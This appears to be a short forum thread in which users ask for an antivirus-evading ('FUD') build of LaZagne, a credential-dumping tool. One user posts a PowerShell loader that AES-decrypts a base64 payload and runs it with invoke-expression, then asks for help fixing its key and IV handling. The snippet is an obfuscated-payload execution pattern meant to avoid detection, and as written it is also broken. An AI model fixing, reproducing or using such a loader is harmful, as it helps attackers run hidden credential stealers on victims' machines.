Usama please sendme LaZagne FUD

[loadenmb]

Usama please sendme LaZagne FUD

[0xcreston]

$key = [Convert]::FromBase64String("MQfvod1coM/nC/JH1BjNmX0rvqtokiLICQHKbe3XCL4=")
$iv = [Convert]::FromBase64String("bT22rQTh5wCVt1YPC5Jluw==")
$Payload = "RMEtkmBIQSb6oaHd/gwMYQ==";
$aesManaged = New-Object "System.Security.Cryptography.AesManaged";
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$aesManaged.BlockSize = 128;
$aesManaged.KeySize = 256;
$unencryptedData = [System.Text.Encoding]::UTF8.GetString($aesManaged.CreateDecryptor().TransformFinalBlock($Payload,0,$Payload.Length)).Trim([char]0);
$aesManaged.Dispose();
invoke-expression $unencryptedData;

Help me fix this script please i really need to use the key & iv instead of the default method used.